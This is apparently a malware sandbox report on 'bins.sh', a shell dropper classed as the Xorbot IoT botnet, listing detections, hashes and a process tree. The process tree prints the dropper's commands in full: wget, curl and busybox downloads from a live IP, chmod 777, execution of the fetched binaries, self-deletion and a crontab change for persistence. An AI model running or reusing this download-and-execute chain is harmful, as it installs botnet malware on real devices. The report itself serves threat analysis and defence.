Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    161s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    17/01/2025, 01:42

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250117-b4nv7synbk
  • SHA256 165aceccc598bd956badaab6838409c86c22f96b9a8fcfdaaca334e8ea522d80
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (1887) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:649
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:651
        • /usr/bin/wget
          wget http://94.154.35.94/bins/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
          2⤵
          • Writes file to tmp directory
          PID:653
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:679
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
          2⤵
          • Writes file to tmp directory
          PID:688
        • /bin/chmod
          chmod 777 pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
          2⤵
          • File and Directory Permissions Modification
          PID:695
        • /tmp/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
          ./pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
          2⤵
          • Executes dropped EXE
          PID:696
        • /bin/rm
          rm pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
          2⤵
            PID:699
          • /usr/bin/wget
            wget http://94.154.35.94/bins/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
            2⤵
            • Writes file to tmp directory
            PID:701
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:715
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/chmod
            chmod 777 4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
            2⤵
            • File and Directory Permissions Modification
            PID:735
          • /tmp/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
            ./4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
            2⤵
            • Executes dropped EXE
            PID:736
          • /bin/rm
            rm 4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
            2⤵
              PID:738
            • /usr/bin/wget
              wget http://94.154.35.94/bins/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
              2⤵
              • Writes file to tmp directory
              PID:739
            • /usr/bin/curl
              curl -O http://94.154.35.94/bins/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:748
            • /bin/busybox
              /bin/busybox wget http://94.154.35.94/bins/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
              2⤵
              • Writes file to tmp directory
              PID:766
            • /bin/chmod
              chmod 777 SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
              2⤵
              • File and Directory Permissions Modification
              PID:772
            • /tmp/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
              ./SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
              2⤵
              • Executes dropped EXE
              PID:773
            • /bin/rm
              rm SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
              2⤵
                PID:775
              • /usr/bin/wget
                wget http://94.154.35.94/bins/2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                2⤵
                • Writes file to tmp directory
                PID:776
              • /usr/bin/curl
                curl -O http://94.154.35.94/bins/2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:777
              • /bin/busybox
                /bin/busybox wget http://94.154.35.94/bins/2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                2⤵
                • Writes file to tmp directory
                PID:778
              • /bin/chmod
                chmod 777 2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                2⤵
                • File and Directory Permissions Modification
                PID:779
              • /tmp/2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                ./2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                2⤵
                • Executes dropped EXE
                PID:780
              • /bin/rm
                rm 2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                2⤵
                  PID:782
                • /usr/bin/wget
                  wget http://94.154.35.94/bins/nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:783
                • /usr/bin/curl
                  curl -O http://94.154.35.94/bins/nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                  2⤵
                  • Checks CPU configuration
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:784
                • /bin/busybox
                  /bin/busybox wget http://94.154.35.94/bins/nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:785
                • /bin/chmod
                  chmod 777 nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                  2⤵
                  • File and Directory Permissions Modification
                  PID:786
                • /tmp/nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                  ./nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  PID:787
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:789
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:790
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:791
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:792
                      • /bin/rm
                        rm nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                        2⤵
                        • System Network Configuration Discovery
                        PID:794
                      • /usr/bin/wget
                        wget http://94.154.35.94/bins/X1UoNUTMcx7eo9XjyLYCsiiEiNPcvRPYJ4
                        2⤵
                          PID:797

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                            • Path /tmp/2GK4pMEjw50JVBZP6aoJfLop5phntvRe6T
                            • Size 117KB
                            • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
                            • Path /tmp/4I01aRys3o5Pr62H1oLfuYAuj7ZI9r98nP
                            • Size 111KB
                            • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
                            • Path /tmp/SGnA27uG76dwk9bXgDq0Yg2nwvjPPEC1ck
                            • Size 107KB
                            • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                            • Path /tmp/nFoqyEl1KiHZCk8BKcJM5IlMSd9iPeFdJ2
                            • Size 177KB
                            • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
                            • Path /tmp/pRxIS1pmnNDGieaJ2JLgT4LObiLI0NLv7g
                            • Size 151KB
                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp.8wdMYX
                            • Path /var/spool/cron/crontabs/tmp.8wdMYX
                            • Size 210B
                            • SHA256 2ff6f0341cff595395821ed343c097ce6474e99d6dda3010e5f4aad89c4207eb
                            • MD5 SHA1 SHA512
                            Submit Download